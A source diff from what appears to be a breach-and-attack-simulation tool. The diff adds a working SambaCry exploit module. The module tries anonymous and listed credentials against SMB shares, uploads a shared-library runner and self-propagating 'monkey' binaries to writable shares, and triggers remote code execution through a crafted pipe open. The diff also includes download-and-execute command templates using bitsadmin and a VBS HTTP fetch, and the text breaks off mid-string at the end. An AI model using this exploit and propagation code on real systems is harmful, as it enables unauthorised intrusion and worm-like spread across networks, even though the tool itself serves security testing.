diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a9007edb3..cfda27913 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,7 +1,8 @@ import os import sys from network.range import FixedRange, RelativeRange, ClassCRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\ + SambaCryExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta from itertools import product @@ -141,7 +142,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits - SSHExploiter, ShellShockExploiter # Linux + SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux ] # how many victims to look for in a single scan iteration @@ -219,10 +220,33 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" + # Timeout (in seconds) for sambacry's trigger to yield results. + sambacry_trigger_timeout = 5 + # Folder paths to guess share lies inside. + sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + # Shares to not check if they're writable. + sambacry_shares_not_to_check = ["IPC$", "print$"] + # Name of file which contains the monkey's commandline + sambacry_commandline_filename = "monkey_commandline.txt" + # Name of file which contains the runner's result + sambacry_runner_result_filename = "monkey_runner_result" + # SambaCry runner filename (32 bit) + sambacry_runner_filename_32 = "sc_monkey_runner32.so" + # SambaCry runner filename (64 bit) + sambacry_runner_filename_64 = "sc_monkey_runner64.so" + # Monkey filename on share (32 bit) + sambacry_monkey_filename_32 = "monkey32" + # Monkey filename on share (64 bit) + sambacry_monkey_filename_64 = "monkey64" + # Monkey copy filename on share (32 bit) + sambacry_monkey_copy_filename_32 = "monkey32_2" + # Monkey copy filename on share (64 bit) + sambacry_monkey_copy_filename_64 = "monkey64_2" + + # system info collection collect_system_info = True - ########################### # systeminfo config ########################### diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index cdeb47a76..2b440476c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -156,11 +156,80 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def download_monkey_exe_by_os(is_windows, is_32bit): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( + ControlClient.spoof_host_os_info(is_windows, is_32bit)) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def spoof_host_os_info(is_windows, is_32bit): + if is_windows: + os = "windows" + if is_32bit: + arch = "x86" + else: + arch = "amd64" + else: + os = "linux" + if is_32bit: + arch = "i686" + else: + arch = "x86_64" + + return \ + { + "os": + { + "type": os, + "machine": arch + } + } + + @staticmethod + def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: - return None + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host(host): + return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host_dict(host_dict): + if not WormConfiguration.current_server: + return None, None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), + data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -168,30 +237,17 @@ class ControlClient(object): result_json = reply.json() filename = result_json.get('filename') if not filename: - return None + return None, None size = result_json.get('size') - dest_file = monkeyfs.virtual_path(filename) - if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): - return dest_file - else: - download = requests.get("https://%s/api/monkey/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + return filename, size + else: + return None, None except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) - - return None + + return None, None @staticmethod def create_control_tunnel(): diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 4da753c72..6d4133557 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -6,9 +6,13 @@ import shutil import pprint import logging import subprocess +import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE + +from exploit.tools import build_monkey_commandline_explicitly +from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration +from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - self._monkey_args = args[1:] + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-p', '--parent') + arg_parser.add_argument('-t', '--tunnel') + arg_parser.add_argument('-s', '--server') + arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-l', '--location') + self.monkey_args = args[1:] + self.opts, _ = arg_parser.parse_known_args(args) + self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': args[0]} + 'destination_path': self.opts.location} def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): + + if self._config['destination_path'] is None: + LOG.error("No destination path specified") + return + # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) @@ -78,11 +95,19 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], - } + monkey_options = build_monkey_commandline_explicitly( + self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + else: + dest_path = self._config['destination_path'] + # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # runs the monkey + inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], + 'monkey_commandline': inner_monkey_cmdline} - if 0 != len(self._monkey_args): - monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args)) monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b8131fc61..4396cae34 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -58,9 +58,20 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "local_network_scan": true, "exploit_user_list": [], - "exploit_password_list" = [] + "exploit_password_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "sambacry_commandline_filename": "monkey_commandline.txt", + "sambacry_runner_result_filename": "monkey_runner_result", + "sambacry_runner_filename_32": "sc_monkey_runner32.so", + "sambacry_runner_filename_64": "sc_monkey_runner64.so", + "sambacry_monkey_filename_32": "monkey32", + "sambacry_monkey_filename_64": "monkey64", + "sambacry_monkey_copy_filename_32": "monkey32_2", + "sambacry_monkey_copy_filename_64": "monkey64_2", + "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1063e256d..1b12afd2f 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -20,3 +20,4 @@ from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter +from sambacry import SambaCryExploiter diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py new file mode 100644 index 000000000..22b3a3f2b --- /dev/null +++ b/chaos_monkey/exploit/sambacry.py @@ -0,0 +1,410 @@ +import logging +import re +import sys +import time +from io import BytesIO +from os import path +import itertools +import posixpath + +import impacket.smbconnection +from impacket.nt_errors import STATUS_SUCCESS +from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ + FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.smb import SessionError +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \ + SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE +from impacket.smbconnection import SMBConnection + +import monkeyfs +from exploit import HostExploiter +from model import DROPPER_ARG +from network.smbfinger import SMB_SERVICE +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class SambaCryExploiter(HostExploiter): + """ + SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py + """ + _target_os_type = ['linux'] + + def __init__(self): + self._config = __import__('config').WormConfiguration + + + def exploit_host(self, host, depth=-1, src_path=None): + if not self.is_vulnerable(host): + return False + + writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + LOG.info("Writable shares and their credentials on host %s: %s" % + (host.ip_addr, str(writable_shares_creds_dict))) + + host.services[SMB_SERVICE]["shares"] = {} + for share in writable_shares_creds_dict: + host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) + + # Wait for samba server to load .so, execute code and create result file. + time.sleep(self._config.sambacry_trigger_timeout) + + successfully_triggered_shares = [] + + for share in writable_shares_creds_dict: + trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + if trigger_result is not None: + successfully_triggered_shares.append((share, trigger_result)) + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + for share, fullpath in successfully_triggered_shares: + host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath + + if len(successfully_triggered_shares) > 0: + LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + return True + else: + LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + return False + + def try_exploit_share(self, host, share, creds, depth): + """ + Tries exploiting share + :param host: victim Host object + :param share: share name + :param creds: credentials to use with share + :param depth: current depth of monkey + """ + try: + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, depth) + self.trigger_module(smb_client, share) + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) + + def clean_share(self, ip, share, creds): + """ + Cleans remote share of any remaining files created by monkey + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + """ + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename, + self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64, + self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64, + self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64] + + for filename in file_list: + try: + smb_client.deleteFile(share, "\\%s" % filename) + except (impacket.smbconnection.SessionError, SessionError): + # Ignore exception to try and delete as much as possible + pass + smb_client.disconnectTree(tree_id) + smb_client.close() + + def get_trigger_result(self, ip, share, creds): + """ + Checks if the trigger yielded any result and returns it. + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + :return: result of trigger if there was one. None otherwise + """ + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_content = None + try: + file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename, + desiredAccess=FILE_READ_DATA) + file_content = smb_client.readFile(tree_id, file_id) + smb_client.closeFile(tree_id, file_id) + except (impacket.smbconnection.SessionError, SessionError): + pass + + smb_client.disconnectTree(tree_id) + smb_client.close() + return file_content + + def get_writable_shares_creds_dict(self, ip): + """ + Gets dictionary of writable shares and their credentials + :param ip: IP address of the victim + :return: Dictionary of writable shares and their corresponding credentials. + """ + writable_shares_creds_dict = {} + credentials_list = self.get_credentials_list() + + for credentials in credentials_list: + try: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) + + # don't try shares we can already write to. + for share in [x for x in shares if x not in writable_shares_creds_dict]: + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials + + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + # If failed using some credentials, try others. + pass + + return writable_shares_creds_dict + + def get_credentials_list(self): + user_password_pairs = self._config.get_exploit_user_password_pairs() + + # Add empty credentials for anonymous shares. + credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + for user, password in user_password_pairs: + credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + + return credentials_list + + def list_shares(self, smb_client): + shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] + + def is_vulnerable(self, host): + """ + Checks whether the victim runs a possibly vulnerable version of samba + :param host: victim Host object + :return: True if victim is vulnerable, False otherwise + """ + if SMB_SERVICE not in host.services: + LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) + return False + + pattern = re.compile(r'\d*\.\d*\.\d*') + smb_server_name = host.services[SMB_SERVICE].get('name') + samba_version = "unknown" + pattern_result = pattern.search(smb_server_name) + is_vulnerable = False + if pattern_result is not None: + samba_version = smb_server_name[pattern_result.start():pattern_result.end()] + samba_version_parts = samba_version.split('.') + if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % + (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) + + return is_vulnerable + + def is_share_writable(self, smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ + LOG.debug('Checking %s for write access' % share) + try: + tree_id = smb_client.connectTree(share) + except (impacket.smbconnection.SessionError, SessionError): + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except (impacket.smbconnection.SessionError, SessionError): + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + def upload_module(self, smb_client, host, share, depth): + """ + Uploads the module and all relevant files to server + :param smb_client: smb client object + :param host: victim Host object + :param share: share name + :param depth: current depth of monkey + """ + tree_id = smb_client.connectTree(share) + + with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) + + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read) + + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) + + monkey_bin_32_src_path = get_target_monkey_by_os(False, True) + monkey_bin_64_src_path = get_target_monkey_by_os(False, False) + + with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read) + + with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) + + smb_client.disconnectTree(tree_id) + + def connect_to_server(self, ip, credentials): + """ + Connects to server using given credentials + :param ip: IP of server + :param credentials: credentials to log in with + :return: SMBConnection object representing the connection + """ + smb_client = SMBConnection(ip, ip) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + return smb_client + + def trigger_module(self, smb_client, share): + """ + Tries triggering module + :param smb_client: smb client object + :param share: share name + :return: True if might triggered successfully, False otherwise. + """ + trigger_might_succeeded = False + module_possible_paths = self.generate_module_possible_paths(share) + for module_path in module_possible_paths: + trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) + + return trigger_might_succeeded + + def trigger_module_by_path(self, smb_client, module_path): + """ + Tries triggering module by path + :param smb_client: smb client object + :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" + :return: True if might triggered successfully, False otherwise. + """ + + try: + # the extra / on the beginning is required for the vulnerability + self.open_pipe(smb_client, "/" + module_path) + except (impacket.smbconnection.SessionError, SessionError) as e: + # This is the expected result. We can't tell whether we succeeded or not just by this error code. + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + return True + else: + pass + + return False + + def generate_module_possible_paths(self, share_name): + """ + Generates array of possible paths + :param share_name: Name of the share + :return: Array of possible full paths to the module. + """ + sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess + file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] + return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)] + + def get_monkey_runner_bin_file(self, is_32bit): + if is_32bit: + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb") + else: + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") + + + def get_monkey_commandline_file(self, host, depth, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) + + # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + + packet = smb_client.getSMBServer().SMB_PACKET() + packet['Command'] = SMB2_CREATE + packet['TreeID'] = treeId + if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: + packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + + smb2Create = SMB2Create() + smb2Create['SecurityFlags'] = 0 + smb2Create['RequestedOplockLevel'] = oplockLevel + smb2Create['ImpersonationLevel'] = impersonationLevel + smb2Create['DesiredAccess'] = desiredAccess + smb2Create['FileAttributes'] = fileAttributes + smb2Create['ShareAccess'] = shareMode + smb2Create['CreateDisposition'] = creationDisposition + smb2Create['CreateOptions'] = creationOptions + + smb2Create['NameLength'] = len(fileName) * 2 + if fileName != '': + smb2Create['Buffer'] = fileName.encode('utf-16le') + else: + smb2Create['Buffer'] = '\x00' + + if createContexts is not None: + smb2Create['Buffer'] += createContexts + smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] + smb2Create['CreateContextsLength'] = len(createContexts) + else: + smb2Create['CreateContextsOffset'] = 0 + smb2Create['CreateContextsLength'] = 0 + + packet['Data'] = smb2Create + + packetID = smb_client.getSMBServer().sendSMB(packet) + ans = smb_client.getSMBServer().recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + createResponse = SMB2Create_Response(ans['Data']) + + # The client MUST generate a handle for the Open, and it MUST + # return success and the generated handle to the calling application. + # In our case, str(FileID) + return str(createResponse['FileID']) + + def open_pipe(self, smb_client, pathName): + # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # to make things easier for the caller. Not this time ;) + treeId = smb_client.connectTree('IPC$') + LOG.debug('Triggering path: %s' % pathName) + + if smb_client.getDialect() == SMB_DIALECT: + _, flags2 = smb_client.getSMBServer().get_flags() + + pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + + ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() + ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength'] = len(pathName) + ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA + ntCreate['Parameters']['FileAttributes'] = 0 + ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ + ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE + ntCreate['Parameters']['CreateOptions'] = FILE_OPEN + ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION + ntCreate['Parameters']['SecurityFlags'] = 0 + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = pathName + + if flags2 & SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) + else: + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 307cbfa02..e23818f4d 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,7 +1,7 @@ import sys from logging import getLogger from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey @@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index b6cee68ac..2e8aa4fa5 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -443,26 +443,46 @@ def get_target_monkey(host): return monkey_path -def build_monkey_commandline(target_host, depth): - from config import WormConfiguration, GUID +def get_target_monkey_by_os(is_windows, is_32bit): + from control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): cmdline = "" - cmdline += " -p " + GUID - if target_host.default_tunnel: - cmdline += " -t " + target_host.default_tunnel - if target_host.default_server: - cmdline += " -s " + target_host.default_server - if depth < 0: - depth = 0 - - cmdline += " -d %d" % depth + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location return cmdline +def build_monkey_commandline(target_host, depth, location=None): + from config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password}) + + +def get_binaries_dir_path(): + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 02f144851..a372070a8 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -12,7 +12,7 @@ import socket from enum import IntEnum from logging import getLogger from model.host import VictimHost -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from . import HostExploiter from exploit.tools import SmbTools, get_target_monkey from network.tools import check_port_tcp @@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 8b4231793..298ec5436 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -3,7 +3,7 @@ import ntpath import logging import traceback from tools import build_monkey_commandline -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model.host import VictimHost from exploit import HostExploiter from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login @@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 67c06bf47..1296570e1 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -4,10 +4,12 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" -DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) +GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' +DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open 